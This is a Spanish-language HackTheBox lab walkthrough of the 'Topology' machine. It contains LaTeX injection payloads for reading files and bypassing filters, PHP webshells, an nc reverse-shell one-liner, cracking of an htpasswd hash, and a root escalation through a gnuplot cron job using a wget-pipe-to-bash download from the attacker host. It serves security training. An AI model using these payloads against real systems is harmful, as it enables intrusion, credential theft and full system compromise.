This page looks best with JavaScript enabled

HackTheBox - Topology

 •  ✍️ sckull

Topology permite generar imagenes de ecuaciones utilizando LaTex, mediante esta, logramos la escritura de archivos con codigo PHP que posteriormente nos dio acceso a la maquina. Se muestran multiples “payloads” que nos ayudaron a acceder a archivos y a dos primeros usuarios. Finalmente escalamos privilegios tras ejecutar comandos con gnuplot.

Nombre Topology box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.217
Maker

gedsic

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[4.9, 4.3, 4.4, 5.6, 5.7],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.93 scan initiated Sat Jun 10 21:07:17 2023 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.217
Nmap scan report for 10.10.11.217
Host is up (0.085s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 dcbc3286e8e8457810bc2b5dbf0f55c6 (RSA)
|   256 d9f339692c6c27f1a92d506ca79f1c33 (ECDSA)
|_  256 4ca65075d0934f9c4a1b890a7a2708d7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Miskatonic University | Topology Group
Service Info: Host: topology.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 10 21:08:27 2023 -- 1 IP address (1 host up) scanned in 70.54 seconds

Web Site

Observamos un sitio web en el puerto 80, se lista el staff del grupo Topology, que posiblemente podriamos utilizar como nombres de usuarios.

image

En el sitio observamos un dominio y subdominio, ademas un posible nombre de usuario: lklein.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[..]

lklein@topology.htb

[..]

<p>• <a href="http://latex.topology.htb/equation.php">LaTeX Equation Generator</a> - create .PNGs of LaTeX
              equations in your browser</p>

[..]

Subdomains

Realizamos una enumeracion de subdominios y encontramos dos nuevas: dev y stats.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 π ~/htb/topology ❯ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.topology.htb" -u http://topology.htb -fs 6767

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://topology.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.topology.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 6767
________________________________________________

[Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 6491ms]
    * FUZZ: dev

[Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 5084ms]
    * FUZZ: stats

[ ... ]

dev.topology.htb

El subdominio dev.topology.htb necesita credenciales para acceder.

image

stats.topology.htb

El subdominio stats muestra unicamente dos graficas.

image

LaTex

En latex.topology.htb observamos una lista de archivos, en demo/ encontramos varias iamgenes de ecuaciones, tempfiles/ un archivo de log.

image

/equation.php muestra un formulario e informacion para generar imagenes PNG para ecuaciones a partir de la sintaxis de LaTex. Ademas se menciona que esta en ‘math mode’ (modes).

image

Enviamos la sintaxis de ejemplo modificando unos valores, observamos el resultado en la imagen.

image

LaTex Injection

Utilizamos la sintaxis mostrada en LaTex - HackTricks para la lectura de archivos. En este caso realizamos la lectura de la primera linea del archivo /etc/passwd.

1
2
3
4
\newread\f
\openin\f=/etc/passwd
\read\f to\l
\text\l

image

Sin embargo tras intentar ralizar la lectura de archivos completos no fue posible ya que existen varios comandos restringidos o, al menos encontramos algunos de ellos restringidos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
\usepackage
\loop
\@
\write
\immediate
\write18
\input
\documentclass
\for
\def

Read Files

Utilizando la documentacion de LaTex y con la ayuda de HackTricks logramos craftear distintos payloads que nos permitieron la lectura de cierto numero de lineas y tambien logramos identificar que existe un limite de 200 caracteres por lo cual es limitada la lectura a 30+ lineas con los payloads encontrados.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# 9 lines
\newread\f
\openin\f=/etc/passwd
\read\f to\l
{\l}
\read\f to\l
{\l}
\read\f to\l
{\l}
\read\f to\l
{\l}
\read\f to\l
{\l}
\read\f to\l
{\l}
\read\f to\l
{\l}
\read\f to\l
{\l}
\read\f to\l
{\l}


# 16 lines - 200 chars
\newcommand\io{\read\f to\l {\l}}
\newread\f
\openin\f=/etc/passwd
\io
\io
\io
\io
\io
\io
\io
\io
\io
\io
\io
\io
\io
\io
\io
\io

# 16 lines
\newcommand\io{\read\f to\l \text{\l}}
\newread\f
\openin\f=/etc/passwd
\frac{\io}{\io}
\frac{\io}{\io}
\frac{\io}{\io}
\frac{\io}{\io}
\frac{\io}{\io}
\frac{\io}{\io}
\frac{\io}{\io}
\frac{\io}{\io}

# 19 lines
\newcommand\io{\read\f to\l {\l}}
\newread\f
\openin\f=/etc/passwd
\frac{\io}{\io}
\frac{\io}{\io}
\frac{\io}{\io}
\frac{\io}{\io}
\frac{\io}{\io}
\frac{\io}{\io}
\frac{\io}{\io}
\io
\io
\io
\io
\io

# 20 lines
\newcommand\io{\read\f to\l \text{\l}} 
\newread\f \openin\f=/etc/passwd 
\multiput(0,0)(10,10){10}{\io}
\multiput(0,0)(10,10){10}{\io}

# 39 lines -> 199 chars
\newcommand\io{\read\f to\l \l}
\newcommand\ie[1]{\frac{\frac{#1#1#1#1#1#1#1#1#1#1#1#1#1}{#1#1#1#1#1#1#1#1#1#1#1#1#1}}{\frac{#1#1#1#1#1#1#1#1#1#1#1#1}{#1}}}
\newread\f
\openin\f=/etc/passwd
\ie{\io}

Sin embargo, existen caracteres que al parecer no son aceptados posiblemente por el modo math en el que esta siendo ejecutado, ya que al intentar realizar la lectura de mas de seis lineas del archivo equation.php no muestra ningun resultado. La ruta completa del archivo la encontramos adivinando el directorio en /var/www/.

1
2
3
4
5
6
7
8
9
\newcommand\io{\read\f to\l \l}
\newread\f
\openin\f=/var/www/latex/equation.php
\io
\io
\io
\io
\io
\io

image

Asi mismo logramos encontrar que existe el archivo .htaccess para el subdominio dev, donde se especifica el archivo .htpasswd el cual no pudimos leer, o no tenemos permisos para leer o existe algun caracter que no nos permite la lectura.

1
2
3
4
5
6
\newcommand\io{\read\f to\l \text{\l}}
\newread\f
\openin\f=/var/www/dev/.htaccess
\io
\io
\io

image

Log File

Descubrimos tambien que es posible realizar la escritura dentro del archivo de log con el comando \typeout, sin embargo no podemos utilizar esto a nuestro favor ya que el archivo de log es borrado luego de unos segundos.

1
\typeout{<?php something();}

image

www-data - filecontents

Descubrimos dos formas para ejecutar comandos a traves de LaTex mediante la escritura de archivos, la primera utilizando filecontents.

Write File

Encontramos que filecontents puede crear y escribir dentro de un archivo.

1
2
3
\begin{filecontents*}{filecontents.php}
test
\end{filecontents*}

Inicialmente no logramos escribir dentro del archivo, unicamente realizar la creacion de este.

image

Intentamos codificando el payload en URL utilizando BurpSuite, vemos el archivo creado y se muestra la ejecucion del codigo PHP.

1
2
3
\begin{filecontents*}{latex.php}
<?php echo("hey! LaTex.");
\end{filecontents*}

image

WebShell

Para no trabajar con multiples archivos podemos especificar la opcion overwrite para sobreescribir el contenido del archivo, en este caso creamos un pequeno webshell.

1
2
3
\begin{filecontents*}[overwrite]{latex.php}
<?php echo(system($_GET["c"]));
\end{filecontents*}

Mediante este logramos ejecutar comandos.

1
2
3
4
 π ~/htb/topology ❯ curl -s "http://latex.topology.htb/tempfiles/latex.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
 π ~/htb/topology ❯

Shell

Escribimos una shell inversa dentro del archivo.

1
2
3
\begin{filecontents*}[overwrite]{latex.php}
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.112 1335 >/tmp/f");
\end{filecontents*}

Tras visitar el archivo logramos obtener una shell como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 π ~/htb/topology ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.112] from topology.htb [10.10.11.217] 38608
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@topology:/var/www/latex/tempfiles$ whoami;pwd;id
whoami;pwd;id
www-data
/var/www/latex/tempfiles
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@topology:/var/www/latex/tempfiles$

Observamos el codigo de equation.php en el directorio de latex/.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
<?php
// latex to png generator by vdaisley
//
// TODO: error handling
//
error_reporting(0);
if (empty($_GET['eqn']))
{
    
    echo '
<!DOCTYPE html>
<html lang="en">
<head>
<title>LaTeX Equation Generator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<style>

body {
    min-height: 100vh;
    max-width: 700px;
    background-color: light-grey;
    margin: 0 auto;
}
</style>
<body>
<div>
<h1>LaTeX Equation Generator</h1>
<p>Need to quickly generate a good looking equation for a website, like this?
<br><br>
<center><img src="example.png" /></center>
<br><br>
</p>
<p>Use this equation generator to create a .PNG file.</p>
<p>Please enter LaTeX inline math mode syntax in the text field (only oneliners supported at the moment). Clicking "Generate" will directly return a .PNG file that you can save with Ctrl+S (or Command+S if on Mac).</p>
<form action="equation.php" method="get">
  <div class="form-group row">
    <div class="col-8">
      <div class="input-group">
        <div class="input-group-prepend">
          <div class="input-group-text">
            <i class="fa fa-code"></i>
          </div>
        </div>
        <input id="text" name="eqn" placeholder="Enter LaTeX code here" type="text" class="form-control" aria-describedby="textHelpBlock">
      </div>
    </div>
      <button name="submit" type="submit" class="btn btn-primary">Generate</button>
  </div>
</form>
<div>
<h2>Examples</h2>
<p>Here are a few code examples that contain the basic math commands to make LaTeX typeset beautiful equations:</p>
<table class="table">
  <thead>
    <tr>
      <th scope="col">Description</th>
      <th scope="col">LaTeX code</th>
      <th scope="col">Output</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <th scope="row">Fractions</th>
      <td><samp>\frac{x+5}{y-3}</samp></td>
      <td><img src="demo/fraction.png" /></td>
    </tr>
    <tr>
      <th scope="row">Greek letters</th>
      <td><samp>\alpha \beta \gamma</samp></td>
      <td><img src="demo/greek.png" /></td>
    </tr>
    <tr>
      <th scope="row">Summations</th>
      <td><samp>\sum_{n=1}^\infty</samp></td>
      <td><img src="demo/summ.png" /></td>
    </tr>
    <tr>
      <th scope="row">Square root</th>
      <td><samp>\sqrt[n]{1+x}</samp></td>
      <td><img src="demo/sqrt.png" /></td>
    </tr>
  </tbody>
</table>
</div>
</body>
</html>

';
}
else
{
    $texinput = $_GET['eqn'];
    $filterstrings = array("\\immediate","\\usepackage","\\input","\\write","\\loop","\\include","\\@","\\while","\\def","\\url","\\href");
    foreach($filterstrings as $filterstring) {
        if (stripos($texinput, $filterstring) !== FALSE) {
            $texinput="\$Illegal command detected. Sorry.\$";
            break;
        }
    }
    if (strlen($texinput)>=200) {
        $texinput = "Input too long. Sorry.";
    }
    $errormsg = "Something went wrong. Sorry.";
    // texfile content, insert default header and user input
    $texsource = "\\documentclass{standalone}
\\input{../header}
\\begin{document}
$" . $texinput . "$"."\\end{document}";

// create random filename
$fileid = uniqid(rand(),true);
$texfilename = "tempfiles/" . $fileid . ".tex";
$texfile = fopen("$texfilename","w");
fputs($texfile, $texsource);
fclose($texfile);
chdir(dirname($texfilename));
exec("pdflatex " . basename($texfilename) . " > /dev/null 2>&1");
exec("convert -density 300 ".$fileid.".pdf "."$fileid".".png > /dev/null 2>&1");
$fp = fopen($fileid . ".png", 'rb');
header("Content-Type: image/png");
header("Content-Length: " . filesize($fileid.".png"));
fpassthru($fp);
// delete temp image
fclose($fp);
exec("rm -f ".$fileid.".*");
exit;
}
?>

Vdaisley from www-data

Dentro del directorio del subdominio dev, encontramos el archivo .htpasswd.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
www-data@topology:/var/www/dev$ ls -lah
ls -lah
total 40K
drwxr-xr-x 2 www-data www-data 4.0K Jan 17 12:26 .
drwxr-xr-x 6 root     root     4.0K May 19 13:04 ..
-rw-r--r-- 1 www-data www-data  100 Jan 17 12:26 .htaccess
-rw-r--r-- 1 www-data www-data   47 Jan 17 12:26 .htpasswd
-rw-r--r-- 1 www-data www-data 1.1K Jan 17 12:26 LICENSE
-rw-r--r-- 1 www-data www-data 7.0K Jan 17 12:26 index.html
-rw-r--r-- 1 www-data www-data 1.7K Jan 17 12:26 script.js
-rw-r--r-- 1 www-data www-data 5.6K Jan 17 12:26 styles.css
www-data@topology:/var/www/dev$ cat .htpasswd
cat .htpasswd
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
www-data@topology:/var/www/dev$

Utilizamos john para crackear el hash encontrado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/topology ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
calculus20       (vdaisley)
1g 0:00:00:04 DONE (2023-06-12 19:51) 0.2020g/s 201153p/s 201153c/s 201153C/s callel..caitlyn09
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
 π ~/htb/topology ❯

Utilizamos las credenciales logrando obtener acceso como vdaisley y nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
www-data@topology:/var/www/dev$ su vdaisley
su vdaisley
Password: calculus20

vdaisley@topology:/var/www/dev$ whoami
whoami
vdaisley
vdaisley@topology:/var/www/dev$ cd
cd
vdaisley@topology:~$ ls
ls
user.txt
vdaisley@topology:~$ cat user.txt
cat user.txt
a06f73d89d37fc8cf7ac2c13ee10d172
vdaisley@topology:~$

Cambiamos a una shell mas comoda, SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 π ~/htb/topology ❯ ssh vdaisley@topology.htb # calculus20
The authenticity of host 'topology.htb (10.10.11.217)' can't be established.
ED25519 key fingerprint is SHA256:F9cjnqv7HiOrntVKpXYGmE9oEaCfHm5pjfgayE/0OK0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'topology.htb' (ED25519) to the list of known hosts.
vdaisley@topology.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Tue Jun  6 08:13:40 2023 from 10.10.14.46
vdaisley@topology:~$ whoami;pwd;id
vdaisley
/home/vdaisley
uid=1007(vdaisley) gid=1007(vdaisley) groups=1007(vdaisley)
vdaisley@topology:~$

www-data & Vdaisley via catcode

Esta seria la segunda forma de ejecutar comandos a traves de LaTex, en este caso utilizamos catcode para realizar bypass al filtro de comandos, este nos permitio ejecutar multiples comandos.

Latex - Catcode

En la documentacion de Catcode 0 se muestra un ejemplo en el que reemplaza el \ por x, es decir los comandos ya no se definen como \command si no xcommand.

El ejemplo (simplificado):

1
2
3
\def\foo{LaTex}
\catcode`x=0 
xfoo

Realizamos una comparacion, sin catcode y con catcode en overleaf.

1
2
3
4
5
6
\def\foo{LaTex\\}
\foo

\def\foo{LaTex}
\catcode`x=0 
xfoo

Observamos que el resultado es el mismo y no afecta en la ejecucion y resultado.

image

Write Files

Con lo anterior, utilizamos el payload Write File para escribir un nuevo archivo, en este caso sabemos que \write esta en blacklist, por lo que con catcode facilmente podriamos realizar “bypass”.

Tenemos la sintaxis de escritura:

1
2
3
4
5
\catcode`\x=0
\newwrite\outfile
\openout\outfile=file.php
\write\outfile{<?php phpinfo();}
\closeout\outfile

La sintaxis modificada:

1
2
3
4
5
\catcode`\x=0
xnewwritexoutfile
xopenoutxoutfile=file.php
xwritexoutfile{<?php phpinfo();}
xcloseoutxoutfile

Al enviar la sintaxis modificada el archivo es creado con su contenido, vemos el resultado. Con ello podriamos realizar la escritura de una webshell o directamente ejecutar comandos en la maquina.

image

www-data

Esta es la segunda forma en la que podriamos obtener una shell como www-data, sin utilizar filecontents*. Unicamente modificamos el codigo PHP a ejecutar.

1
2
3
4
5
\catcode`\x=0
xnewwritexoutfile
xopenoutxoutfile=file.php
xwritexoutfile{<?php echo(system($_GET[0]));}
xcloseoutxoutfile

Vdaisley

Logramos tambien realizar una lectura y escritura de archivos, se definen dos payloads para Topology.

#1 Payload

Este realiza la lectura de la primera linea de /etc/passwd y la escribe en el archivo passwd.tex.

1
2
3
4
5
6
7
8
9
\catcode`\x=0

\newwrite\f
\newread\f
\openin\f=/etc/passwd
\read\f to\l
\immediate\openout\f=passwd
\immediate\write\f{\l}
\immediate\closeout\f

Payload modificado:

1
2
3
4
5
6
7
8
\catcode`\x=0
xnewwritexf
xnewreadxf
xopeninxf=/etc/passwd
xreadxf toxl
ximmediatexopenoutxf=passwd
ximmediatexwritexf{xl}
ximmediatexcloseoutxf

Se muestra el contenido del archivo passwd.tex, sin embargo no es posible leer archivos que contengan caracteres especiales, por lo que esta seria una limitante.

1
root:\protect \leavevmode@ifvmode \kern +.2222em\relax 0:0:root:/root:/bin/bash 

#2 Payload

En el segundo hacemos uso de mbox, este, nos permitio realizar la lectura del archivo .htpasswd el cual contiene el caracter $ el cual es un caracter especial o reservado en LaTex.

1
2
3
4
5
6
7
8
\catcode`\q=0
\newwrite\f
\newread\f
\openin\f=/var/www/dev/.htpasswd
\read\f toql
\immediate\openout\f=passwd
\immediate\write\f{\mbox\l}
\immediate\closeout\f

Payload modificado:

1
2
3
4
5
6
7
8
\catcode`\q=0
qnewwriteqf
qnewreadqf
qopeninqf=/var/www/dev/.htpasswd
qreadqf toql
qimmediateqopenoutqf=passwd
qimmediateqwriteqf{qmboxql}
qimmediateqcloseoutqf

El contenido del archivo es el hash, el cual ya se mostro anteriormente, por lo que esta seria una segunda forma para obtener acceso con este usuario (vdaisley).

1
\protect \unhbox \voidb@x \hbox {vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0 }

Privesc

Ejecutamos pspy y observamos que existe un cronjob que ejecuta el script getdata.sh, vemos que realiza una busqueda de todos los archivos con extension .plt dentro de /opt/gnuplot/ y ejecuta gnuplot sobre estos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
2023/06/12 20:25:01 CMD: UID=0     PID=95592  | /bin/sh /opt/gnuplot/getdata.sh
2023/06/12 20:25:01 CMD: UID=0     PID=95591  | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/06/12 20:25:01 CMD: UID=0     PID=95590  | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;
2023/06/12 20:25:01 CMD: UID=0     PID=95589  | /bin/sh -c /opt/gnuplot/getdata.sh                                                         
2023/06/12 20:25:01 CMD: UID=0     PID=95588  | /usr/sbin/CRON -f
2023/06/12 20:25:01 CMD: UID=0     PID=95587  | /usr/sbin/CRON -f
2023/06/12 20:25:01 CMD: UID=0     PID=95597  | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/06/12 20:25:01 CMD: UID=0     PID=95596  | cut -d   -f3,7
2023/06/12 20:25:01 CMD: UID=0     PID=95595  | tr -s         
2023/06/12 20:25:01 CMD: UID=0     PID=95594  | /bin/sh /opt/gnuplot/getdata.sh
2023/06/12 20:25:01 CMD: UID=0     PID=95593  |                                                          
2023/06/12 20:25:01 CMD: UID=0     PID=95604  |

Al acceder al directorio observamos que no tenemos permisos de lectura, pero si de escritura.

1
2
3
4
5
6
7
vdaisley@topology:/opt/gnuplot$ ls
ls: cannot open directory '.': Permission denied
vdaisley@topology:/opt/gnuplot$ cat getdata.sh
cat: getdata.sh: Permission denied
vdaisley@topology:/opt/gnuplot$ touch test.plt
vdaisley@topology:/opt/gnuplot$ echo "#" > test.plt
vdaisley@topology:/opt/gnuplot$

Vemos que la version de gnuplot es 5.2.

1
2
3
vdaisley@topology:/opt/gnuplot$ gnuplot --version
gnuplot 5.2 patchlevel 8
vdaisley@topology:/opt/gnuplot$

La documentacion de Gnuplot 5.2 en el apartado de System (pag. 201) muestra que es posible ejecutar comandos utilizando la funcion system().

Creamos un archivo .plt con la ejecucion de un comando.

1
echo 'var_random = system("id > /tmp/testgnuplot")' > file.plt

Observamos que el archivo es creado por el usuario root y efectivamente es este usuario quien ejecuta el comando.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
vdaisley@topology:~$ ls -lah /tmp
total 60K
drwxrwxrwt 14 root     root     4.0K Jun 12 20:47 .
drwxr-xr-x 18 root     root     4.0K May 19 13:04 ..
drwxrwxrwt  2 root     root     4.0K Jun 12 19:22 .font-unix
drwxrwxrwt  2 root     root     4.0K Jun 12 19:22 .ICE-unix
drwx------  3 root     root     4.0K Jun 12 19:23 systemd-private-444bc6344cc94eaa91d69d636534998c-apache2.service-1mrh6h
drwx------  3 root     root     4.0K Jun 12 19:22 systemd-private-444bc6344cc94eaa91d69d636534998c-ModemManager.service-DFkAKh
drwx------  3 root     root     4.0K Jun 12 19:22 systemd-private-444bc6344cc94eaa91d69d636534998c-systemd-logind.service-d81L0i
drwx------  3 root     root     4.0K Jun 12 19:23 systemd-private-444bc6344cc94eaa91d69d636534998c-systemd-resolved.service-SUOirg
drwx------  3 root     root     4.0K Jun 12 19:22 systemd-private-444bc6344cc94eaa91d69d636534998c-systemd-timesyncd.service-ic0OBg
-rw-r--r--  1 root     root       39 Jun 12 20:48 testgnuplot # <<<<<<<<<------------------
drwxrwxrwt  2 root     root     4.0K Jun 12 19:22 .Test-unix
drwx------  2 root     root     4.0K Jun 12 19:23 vmware-root_669-3980232826
drwxrwxrwt  2 root     root     4.0K Jun 12 19:22 .X11-unix
drwxrwxrwt  2 root     root     4.0K Jun 12 19:22 .XIM-unix
vdaisley@topology:~$ cat /tmp/testgnuplot
uid=0(root) gid=0(root) groups=0(root)
vdaisley@topology:~$

Shell

Creamos nuevamente un archivo, esta vez para ejecutar una shell inversa.

1
2
3
vdaisley@topology:/opt/gnuplot$ cat file.plt
var_random = system("wget -qO- 10.10.14.112:8000/10.10.14.112:1336|bash")
vdaisley@topology:/opt/gnuplot$

Tras unos segundos logramos obtener una shell y realizar la lectura de la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/topology ❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.112] from topology.htb [10.10.11.217] 58596
/bin/sh: 0: can't access tty; job control turned off
# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
# cat root.txt
67483ce5070524d878dc9f32af045d35
#

Cronjobs

Observamos el cronjob que ejecuta los archivos .plt y el contenido de getdata.sh.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# crontab -l | grep -v "#"
* * * * * /opt/gnuplot/getdata.sh
* * * * * find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \;
*/10 * * * * find "/opt/gnuplot" -name "*.plt" -mmin +5 -mmin -300 -exec /usr/bin/rm -rf {} \;
# cat /opt/gnuplot/getdata.sh
# get network data
netstat -i | grep enp | tr -s ' ' | cut -d ' ' -f3,7 >> /opt/gnuplot/netdata.dat
# get uptime data
uptime | grep -o "load average:.*$" | cut -d' ' -f 3 | sed 's/,//g' >> /opt/gnuplot/loaddata.dat
# get only the last 60 values
#sed -i '61,$ d' /opt/gnuplot/netdata.dat
echo "$(tail -60 /opt/gnuplot/netdata.dat)" > /opt/gnuplot/netdata.dat
#sed -i '61,$ d' /opt/gnuplot/loaddata.dat
echo "$(tail -60 /opt/gnuplot/loaddata.dat)" > /opt/gnuplot/loaddata.dat
#

Ref

Los “payloads” se pueden encontrar en el post de notas:

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe